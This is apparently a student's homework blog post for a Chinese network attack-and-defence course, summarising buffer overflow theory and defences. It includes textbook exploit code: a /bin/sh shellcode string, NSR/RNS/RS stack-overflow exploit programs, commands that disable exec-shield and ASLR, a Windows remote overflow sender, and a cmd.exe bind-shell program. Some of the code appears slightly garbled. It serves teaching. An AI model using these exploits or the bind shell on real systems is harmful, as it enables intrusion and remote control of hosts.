20199320 2019-2020-2 《网络攻防实践》第10周作业

20199320 2019-2020-2 《网络攻防实践》第10周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723
我在这个课程的目标是 掌握网络攻防知识及操作
这个作业在哪个具体方面帮助我实现目标 掌握缓冲区溢出基本概念、渗透攻击技术原理、具体过程和防御方法。

一、知识点总结

1.1 软件安全概述

  • 软件缺陷和安全漏洞是计算机系统最致命的弱点。
  • 软件安全“困境三要素”:复杂性(操作系统及应用软件规模庞大,不可避免的存在缺陷)、可扩展性(为支持更好的用户使用感受增加扩展交互渠道,攻击者和恶意代码也会随之而来)、连通性(高度连通性使得小小的软件缺陷可能影响到很大的范围)。
  • 软件安全漏洞类型(分类标准——技术):
    • 内存安全违规类:缓冲区溢出漏洞、不安全指针;
    • 输入验证类:格式化字符串、SQL注入、代码注入、远程文件包含、目录遍历、XSS、HTTP Header注入、HTTP响应分割错误等;
    • 竞争条件类:Time- of-check-to-time- of-use (TOCTTOU)类漏洞、符号链接竞争问题;
    • 权限混淆与提升类:Web应用程序中的跨站请求伪造(Cross Site Request Forgery, CSRF)、 Clickjacking、 FTP反弹攻击、权限提升、“越狱”(jailbreak)等。

1.2 缓冲区溢出基础概念

  • 概念:在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。

  • 编译器和调试器:对于最常使用的C/C++编程语言,最著名的编译与连接器是GCC,类UNIX平台上进行程序的调试经常使用GDB调试器。

  • 汇编语言

    • 在IA32汇编语言中,从应用的角度一般将寄存器分为4 类,即通用寄存器、段寄存器、控制寄存器和其他寄存器。通用寄存器如eax、ebx、ecx、edx 等,主要用于普通的算术运算,保存数据、地址、偏移量、计数值等。我们需要特别注意通用寄存器中的“栈指针”寄存器esp,它在栈溢出攻击时是个关键的操纵对象;段寄存器在IA32架构中是16位的,一般用作段基址寄存器;控制寄存器用来控制处理器的执行流程,其中最关键的是eip, 也被称为“指令指针”,它保存了下一条即将执行的机器指令的地址,因而也成为各种攻击控制程序执行流程的关键攻击目标对象。IA32架构中的关键寄存器及功能:

    • 在IA32架构汇编语言中,分为Intel(DOS/Windows平台)和AT&T(类Unix平台)两种。几条关键汇编指令对应于Intel 和AT&T汇编格式的等价指令:

  • 进程内存管理

    • Linux操作系统中的进程内存空间布局和管理机制:程序在执行时,系统在内存中创建一个虚拟的内存地址空间(在32位机上即4GB的空间大小)用于映射物理内存,并保存程序的指令和数据,其中3GB (即0x000000)以下为用户态空间,3GB-4GB为内核态空间。操作系统将可执行程序加载到新创建的内存空间中,程序一般包含.text、.bss 和.data三种类型的段。

      Linux进程的五个段简介:

      BSS段:BSS段(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量的一块内存区域。BSS段属于静态内存分配

      数据段:数据段(.data)通常是指用来存放程序中已初始化的全局变量的一块内存区域。数据段属于静态内存分配

      代码段:代码段(.text)通常是指用来存放程序执行代码的一块内存区域。这部分区域的大小在程序运行前就已经确定,并且内存区域通常属于只读, 某些架构也允许代码段为可写,即允许修改程序。在代码段中,也有可能包含一些只读的常数变量,例如字符串常量等。

      堆(heap):先进先出,地址空间从高地址向低地址增长,用于存放进程运行中被动态分配的内存段,它的大小并不固定,可动态扩张或缩减。当进程调用malloc等函数分配内存时,新分配的内存就被动态添加到堆上(堆被扩张);当利用free等函数释放内存时,被释放的内存从堆中被剔除(堆被缩减)

      栈(stack)后进先出,地址空间从低地址向高地址增长,栈又称堆栈, 是用户存放程序临时创建的局部变量,也就是说我们函数括弧“{}”中定义的变量(但不包括static声明的变量,static意味着在数据段中存放变量)。除此以外,在函数被调用时,其参数也会被压入发起调用的进程栈中,并且待到调用结束后,函数的返回值也会被存放回栈中。由于栈的后进先出特点,所以栈特别方便用来保存/恢复调用现场。从这个意义上讲,我们可以把堆栈看成一个寄存、交换临时数据的内存区。它是由操作系统分配的,内存的申请与回收都由OS管理。

    • Windows操作系统中的进程内存空间布局和管理机制:2GB-4GB为内核态地址空间,用于映射Windows内核代码和一些核心态DLL,并用于存储一些内核态对象,0GB-2GB为用户态地址空间,高地址段映射了一些大量应用进程所共同使用的系统DLL,如Kermel32.dlI、User32.dIl 等,在1GB地址位置用于装载一些应用进程本身所引用的DLL文件,可执行代码区间从0x00400000开始,然后是静态内存空间用于保存全局变量与静态变量,“ 堆”同样是从低地址向高地址增长,用于存储动态数据,“栈”也是从高地址向低地址增长,在单线程进程中一般的“栈"底在0x0012XXXX的位置,而在多线程的进程内存空间中,则拥有多个“堆”和多个“栈”,分布来存储各个线程的执行数据。

  • 函数调用过程

    ①调用(call):调用者将函数调用参数、函数调用下- - 条指令的返回地址压栈,并跳转至被调用函数入口地址。

    ②序言(prologue):被调用函数开始执行首先会进入序言阶段,将对调用函数的栈基址进行压栈保存,并创建自身函数的栈结构,具体包括将cbp寄存器赋值为当前栈基址,为本地函数局部变量分配栈地址空间,更新esp寄存器为当前栈顶指针等。
    ③返回(return):被调用函数执行完功能将指令控制权返回给调用者之前,会进行返回阶段的操作,通常执行leave和ret指令,即恢复调用者的栈顶与栈底指针,并将之前压栈的返回地址装载至指令寄存器eip中,继续执行调用者在函数调用之后的下一条指令。

  • 缓冲区溢出攻击原理

    缓冲区溢出分为堆溢出、栈溢出、内核溢出,下面以栈溢出为例,

    • 取消linux系统对抗缓冲区溢出的防范措施:

      取消“栈上数据不可执行”保护: echo 0 > /proc/sys/kerne/exec shield.
      取消“地址空间随机化”保护: echo 0 > /proc/sys/kerme/randomize_ va space.
      编译时取消“/GS"保护:加上gcc编译选项-fno stack protecto。
      
    • 栈溢出安全漏洞示例:

      #include <stdio.h>
      
      void return_input(void){
          char array[30];
          gets(array);
          printf("%s
      ", array);
      }
      
      int main (void){
          return_input();
          return 0;
      }
      

      return_input()函数中执行gets函数将用户终端输入至array缓冲区时,没有进行缓冲区边界检查和保护,因此如果用户输入超出30字节的字符串时,输入数据将会溢出array缓冲区,从而覆盖array缓冲区上方的EBP和RET,一 旦覆盖了RET返回地址之后,在returm_ input()函数执行完毕返回main()函数时,EIP 寄存器将会装载栈中RET位置保存的值,此时该位置已经被溢出改写为"AAA" (即0x41414141),而该地址可能是进程无法读取的空间,所以造成程序的段错误( "Segmentation fault")。

    • 集漏洞与渗透攻击于一身的栈溢出示例:

      #include <stdio.h>
      #include <string.h>
      char shellcode[]=
      "x31xc0 x31xdb x31xc9 xb0x46 xcdx80 x31xc0 x50 x68x2fx2fx73x68 x68x2fx62x69x6e x89xe3 x8dx54x24x08 x50 x53 x8dx0cx24 xb0x0b xcdx80 x31xc0 xb0x01 xcdx80"; 
      
      char large_string[128];
      int main(int argc, char **argv){
      	char buffer[96];
      	int i;
      	long *long_ptr = (long *) large_string;
      	for (i = 0; i < 32; i++)
      		*(long_ptr + i) = (int) buffer;
      	for (i = 0; i < (int) strlen(shellcode); i++)
      		large_string[i] = shellcode[i];
      	strcpy(buffer, large_string);
      	return 0;
      }
      

      上述代码的两个局部变量buffer[96]和包含shellcode的large_string[128],在执行strcpy操作后,buffer溢出,main函数的返回地址将被覆盖并改写为shellcode的起始地址,因此在return时,EIP 寄存器装载改写后RET值,并将程序执行流程跳转至Shellcode执行,这段shellcode完成了打开命令行shell程序的功能。

1.3 Linux平台上的栈溢出与Shellcode

Linux平台中的栈溢出攻击按照攻击数据的构造方式不同,主要有NSR、RNS和RS三种模式,属于本地栈溢出攻击。

  • NSR模式

    • NSR模式主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况,其攻击数据从低地址到高地址的构造一堆Nop指令填充Shellcode,加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。

    • NSR模式实例代码分析

      一个具有栈溢出漏洞的程序vulnerable1.c

      #include<stdio.h> 
      
      int main(int argc,char **argv){ 
         char buf[500]; 
         strcpy(buf,argv[1]); 
         printf("buf's 0x%8x
      ",&buf); 
         getchar();
         return 0; 
      } 
      

      主要攻击代码:

      int main(int argc,char *argv[]){ 
         char buf[530]; 
         char* p; p=buf; 
         int i; unsigned long ret; 
         int offset=0; 
      
         /* offset=400 will success */ 
         if(argc>1) offset=atoi(argv[1]); 
         ret=get_esp()-offset; 
         memset(buf,0x90,sizeof(buf));  //填充buf
         memcpy(buf+524,(char*)&ret,4);  
         memcpy(buf+i+100,shellcode,strlen(shellcode)); 
         printf("ret is at 0x%8x
       esp is at 0x%8x
      ",
      	   ret,get_esp()); 
         execl("./vulnerable1","vulnerable1",buf,NULL); 
         return 0; 
      } 
      

      通过将这个攻击缓冲区作为vulnerablel.c漏洞程序输入,本来buf的空间是500,现在我们输入530,将溢出并改写main函数的返回地址,从而使得程序执行流程跳转至Nop指令所填充出来的“着陆区”中,无论跳转至哪个Nop指令上,程序都会继续执行,并最终运行Shellcode,向攻击者给出Shell。如图:

  • RNS模式

    • RNS模式一般用于被溢出的变量比较小,不足于容纳Shellcode的情况。

    • RNS模式实例代码分析

      一个具有栈溢出漏洞的程序vulnerable2.c

      #include<stdio.h> 
      
      int main(int argc,char **argv){ 
         char buf[10]; 
         strcpy(buf,argv[1]); 
         printf("buf's 0x%8x
      ",&buf); 
         getchar();
         return 0; 
      } 
      

      主要攻击代码:

      int main(int argc,char **argv){ 
         char buf[500]; 
         unsigned long ret,p; 
         int i; 
         p=&buf; 
         ret=p+70; 
         memset(buf,0x90,sizeof(buf)); 
         for(i=0;i<44;i+=4) 
            *(long *)&buf[i]=ret; 
         memcpy(buf+400+i,shellcode,strlen(shellcode)); 
         execl("./vulnerable2","vulnerable2",buf,NULL); 
         return 0; 
      } 
      

      攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。如图:

  • RS模式

    • RS模式下能够精确地定位出Shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建“着陆区”。这种模式是将Shellcode放置在目标漏洞程序执行时的环境变量中,由于位置是固定的,可以通过公式计算ret=0xc0000000-sizeof(void*)-sizeof(FILENAME)-sizeof(Shellcode)

    • RS模式实例代码分析

      这里我们使用的具有漏洞的程序就是上文提到的vulnerable2

      攻击代码:

      int main(int argc,char **argv){ 
         char buf[32]; 
         char *p[]={"./vulnerable2",buf,NULL}; 
         char *env[]={"HOME=/root",shellcode,NULL}; 
         unsigned long ret; 
         ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *); 
         memset(buf,0x41,sizeof(buf)); 
         memcpy(&buf[28],&ret,4); 
         printf("ret is at 0x%8x
      ",ret); 
         execve("./vulnerable2", "/vulnerable2", buf, env); 
         return 0; 
      } 
      

      这里,ret是精确计算的,攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。在溢出攻击之后,攻击数据将在RET区段即溢出了目标漏洞程序的小缓冲区,并覆盖了栈中的返回地址,然后跳转至Nop指令所构成的“着陆区”,并最终执行Shellcode。如图:

  • Linux平台的远程栈溢出和本地栈溢出

    • 远程栈溢出攻击原理与本都栈溢出攻击一样,区别在于用户输入传递的途径不同,以及Shellcode的编写方式不同。
    • 本地栈溢出的用户输入传递途径主要为argv命令行输入、文件输入等,而远程栈溢出的用户输入传递途径则是通过网络,存在远程栈溢出漏洞的往往是一些网络服务进程或网络应用程序,攻击者可以在网络应用层协议交互过程中,利用上述介绍的模式构造恶意网络数据包,发送给漏洞程序,从而进行渗透攻击。NSR和RNS模式也都适用于远程栈溢出攻击。由于RS模式是通过本地的execve()将Shellcode放置在环境变量中传递给目标漏洞程序的,因此这种模式不适用于通过网络的远程缓冲区溢出攻击,而只能用于本地缓冲区溢出攻击。
    • 本地栈溢出攻击中的Shellcode主要会包含提升至较当前运行用户权限更高的权限,并给出本地Shel访问;而远程栈溢出攻击的Shellcode则需要将Shell访问与网络连接起来,给出一个远程的Shell访问。
  • Linux本地shellcode实现技术

    Linux系统本地Shellcode通常提供的功能就是为攻击者启动一个命令行Shell。一般通过execve()函数启动/bin/sh提供命令行。
    本地产生Shellcode的过程:

    ①先用高级编程语言,通常用C,来编写Shellcode程序;

    ②编译并反汇编调试这个Shellcode程序;

    ③从汇编语言代码级别分析程序执行流程;

    ④整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试;

    ⑤提取汇编代码所对应的opcode二进制指令,创建Shellcode指令数组。

  • Linux远程Shellcode实现机制

    远程Shellcode的实现原理与本地Shellcodes完全一致,也是通过一系列的系统调用完成指令的功能。需要让目标程序创建socket连接客户端,启动shell,绑定输入输出与socket,这样攻击者可以通过客户端socket连接目标程序开放端口建立起通信通道,并获得远程访问Shell。在Linux系统中,dup2()函数能够将标准输入输出与socket 的网络通信通道进行绑定,因而完成远程Shell 的功能。

1.4 Windows平台上的栈溢出与Shellcode

  • 与栈溢出漏洞相关的Windows系统与linux系统的不同

    • 对程序运行过程中废弃栈的处理方式差异

      Windows 平台会向废弃栈中写入一些随机的数据,而Linux则不进行任何的处理。

    • 进程内存空间的布局差异

      Linux进程内存空间中栈底指针在0x0000000之下,即一般栈中变量的位置都在0xbfff地址附近,在这些地址中没有空字节。Windows 平台的栈位置处于0x00FFFFFF以下的用户内存空间,一般为0x0012地址附近,而这些内存地址的首字节均为0x00 空字节。

    • 系统功能调用的实现方式差异

      Linux系统中通过“int80"中断处理来调用系统功能,而Windows系统则是通过操作系统中更为复杂的API及内核处理例程调用链来完成系统功能调用。

  • Windows远程栈溢出攻击实例

    • 远程渗透攻击代码:

      int main()
      {
              WSADATA wsa;
              SOCKET sockFD;
              char Buff[1024],*sBO;
              WSAStartup(MAKEWORD(2,2),&wsa);
              sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
              struct sockaddr_in server;
              server.sin_family = AF_INET;
              server.sin_port = htons(3764);
              server.sin_addr.s_addr=inet_addr("127.0.0.1");
              connect(sockFD,(struct sockaddr *)&server,sizeof(server));
              for(int i=0;i<56;Buff[i++]=0x90);
              strcpy(Buff+56,(char *)eip);
              strcpy(Buff+60,(char *)sploit);
              sBO = Buff;
              send(sockFD,sBO,56+4+560,0);
              closesocket(sockFD);
              WSACleanup();
              return 1;
      }
      
    • 分析:

      1.首先创建一个客户端socket,并连接目标漏洞服务程序所监听的IP地址与端口;

      2.然后精心组装一个用于溢出目标程序缓冲区的攻击数据,攻击数据缓冲区Buff是一个1024字节长度的字符数组,填充了一段Nop指令;

      3.最后在事先计算好的返回地址位置上放置了一个指向“JMP ESP"指令的地址。

  • 野外Windows栈溢出
    针对真实的漏洞服务实施远程栈溢出攻击的野外代码在互联网上也随处可得,在Exploit-dbMilw0rmPacketstorm等渗透攻击代码共享网站上,这些程序都是针对一个特定的安全漏洞实施攻击,并需要配置目标操作系统的类型与版本,程序执行的过程关键是组装出包含填充数据、指令跳转地址和Shellcode的攻击数据,然后通过网络协议交互将攻击数据注入至目标程序的漏洞利用点上,实施溢出攻击,控制目标程序流程,转而执行攻击者注入的Shellcode

  • Windows本地Shellcode

    • 编写shellcode最简单的方式是使用硬编码的函数地址,比如在winXP系统中可使用Call 0x77bf93c7指令来让EIP指令寄存器跳转至硬编码的函数入口地址执行(system()函数在Windows XP特定版本的目标程序内存空间加载地址为0x77bf93c7)。

    • 为了确保Shellcode能够正确地调用所需函数,一般需要将所需函数的动态链接库装载至目标程序内存中,然后再查询获得该函数的加载地址。Kernel32.dll 中的LoadLibrary()GetProcAddress()函数提供了运行时刻加载指定动态链接库,及查询指定函数加载地址的功能。

    • C语言版的Windows本地Shellcode程序:

      #include <windows.h>
      #include <winbase.h>
      typedef void (*MYPROC)(LPTSTR);
      typedef void (*MYPROC2)(int);
      int main()
      {
              HINSTANCE LibHandle;
              MYPROC ProcAdd;
              MYPROC2 ProcAdd2;
              char dllbuf[11]  = "msvcrt.dll";
              char sysbuf[7] = "system";
              char cmdbuf[16] = "command.com";
              char sysbuf2[5] = "exit";
              LibHandle = LoadLibrary(dllbuf);
              ProcAdd = (MYPROC)GetProcAddress(
      			LibHandle, sysbuf);
              (ProcAdd) (cmdbuf);
              ProcAdd2 = (MYPROC2) GetProcAddress(
      			LibHandle, sysbuf2);
      		(ProcAdd2)(0);
      }
      

      分析:

      使用LoadLibrary()函数加载msvert.dll动态链接库,通过GetProcAddress()函数获得system函数的加载入口地址,赋值给ProcAdd函数指针,然后通过函数指针调用system()函数,启动命令行Shell,最后还要调用exit()退出当前进程。

  • Windows远程Shellcode

    • Windows远程Shellcode的C语言实现示例代码:

      #include <winsock2.h>
      #include <stdio.h>
      
      int main()
      {
          WSADATA wsa;
          SOCKET listenFD;
          char Buff[1024];
          int ret;
      
          WSAStartup(MAKEWORD(2,2),&wsa);
      
          listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      
          struct sockaddr_in server;
      
          server.sin_family = AF_INET;
          server.sin_port = htons(53764);
          server.sin_addr.s_addr=ADDR_ANY;
          ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
          ret=listen(listenFD,2);
          int iAddrSize = sizeof(server);
          SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
      
          SECURITY_ATTRIBUTES sa;
          sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
          HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
      
          ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
          ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
      
          STARTUPINFO si;
          ZeroMemory(&si,sizeof(si));
          si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
          si.wShowWindow = SW_HIDE;
          si.hStdInput = hReadPipe2;
          si.hStdOutput = si.hStdError = hWritePipe1;
          char cmdLine[] = "cmd.exe";
          PROCESS_INFORMATION ProcessInformation;
      
          ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
      
          unsigned long lBytesRead;
          while(1) {
          ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
              if(lBytesRead) {
                  ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
              if(!ret) break;
                  ret=send(clientFD,Buff,lBytesRead,0);
              if(ret<=0) break;
              }else {
                  lBytesRead=recv(clientFD,Buff,1024,0);
                  if(lBytesRead<=0) break;
                      ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
                  if(!ret) break;
                      }
              }
          return 0;
      }
      
    • 分析:

      1.创建一个服务器端socket,并在指定的端口上监听;
      2.通过accept()接受客户端的网络连接;
      3.创建子进程,运行“cmd.exe”,启动命令行;
      4.创建两个管道,命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入;然后输出管道将cmd.exe的标准输出连接至服务器端socket的发送(send),通过网络将运行结果反馈给客户端。

1.5 堆溢出攻击

由于堆中没有可以直接覆盖并修改指令寄存器指针的返回地址,因此可通过对函数指针改写、C++类对象虚函数表改写以及Linux下堆管理漏洞攻击。

  • 函数指针改写

    缓冲区溢出后覆盖函数指针所在的内存区,从而改写指针指向的地址,攻击者只要能够将该函数指针指向恶意构造的Shellcode入口地址,在程序使用函数指针调用原先期望的函数时,就会转而执行Shellcode。

  • C++类对象虚函数表改写

    C++类虚函数提供了一种Late binding 机制,编译器为包含虚函数的类建立了虚函数表和指向虚函数表的指针vptr,这样在溢出攻击后,通过覆盖类对象的虚函数指针,使其指向一个特殊构造的虚函数表,从而转向执行攻击者恶意注入的指令。

  • linux下堆管理glibc库free()函数本身漏洞

    Linux操作系统中的堆管理是通过glibc库实现的,glibc库使用了被称为Bin的双向循环链表来存储内存空闲块信息,并使用了两个宏来完成对Bin链表的插入和删除操作。

    glibc库的free()函数在处理内存块回收时,需要将已被释放的空闲块和与之相邻的空闲块进行并,因此将会把符合条件的空闲块从Bin链表中unlink 摘出来,合并之后再将新的空闲块插回链表中。攻击者通过调用free()函数对精心构造的特殊内存块进行释放时,glibc 库将会把这个特殊存块视作空闲块,并试图寻找与这个内存块相邻的空闲块,使用当前空闲块的地址加上当前块的大小(如果是负数就会向前偏移)来定位后续内存块,通过偏移达到堆溢出效果。

1.6 缓冲区溢出攻击的防御技术

  • 尝试杜绝溢出的防御技术

    编写正确的、不存在缓冲区溢出安全漏洞的软件代码,因为编写语言不可避免的出现漏洞,所以利用一些工具来查错,如:fault injection(通过Fuzz测试寻找安全漏洞)、Jones & Kelly(针对gcc的数组边界检查)、Compaq C(通过对编译器进行改进而杜绝溢出产生)、LibSafe(缓冲区边界检查)

  • 允许溢出但不让程序改变执行流程的防御技术

    StackGuard 是最早提出也是最经典的此类技术,针对覆盖函数返回地址的溢出攻击,通过对编译器gcc加补丁,使得在函数入口处能够自动地在栈中返回地址的前面生成一个“Canary" (金丝雀)检测标记,在函数调用结束检测该标记是否改变来阻止溢出改变返回地址,从而阻止缓冲区溢出攻击。在此基础上,研究者又提出PointGuardProPoliceStack Shield等技术,从Stack Guard仅仅保护栈中的返回地址,拓展至对堆栈中所有的函数返回地址、函数指针等实施保护。微软进一步提出了SafeSEH技术,专门用来保护和防止堆栈中的通过覆盖SEH来攻击的技术。

  • 无法让攻击代码执行的防御技术

    基于硬件NX保护机制、通过内核补丁或内建机制来支持堆栈不可执行(如Linux平台上的PaX堆栈不可执行内核补丁,Solaris/SPARC的栈不可执行保护、数据段不可执行内核补丁、Windows的DEP数据执行保护机制、ASLR内存地址布局随机化机制等)。

    针对该防御,黑客提出return-2-libc攻击技术(借助代码片段组合)、Heap Spraying技术(利用JavaScript脚本)、JIT Spraying技术。

二、实践内容和实践过程

三、学习中遇到问题及解决

  • 问题:对栈溢出原理不太清楚。

    解决方法:查看大佬的博客总结似乎看明白点。

四、实践总结

本章节内容是缓冲区溢出相关技术介绍,仔细看教材知识,感觉只清楚了皮毛,还是需要通过多加分析和实践加深理解。

五、参考文献

原文地址:https://www.cnblogs.com/liangxu111/p/12840207.html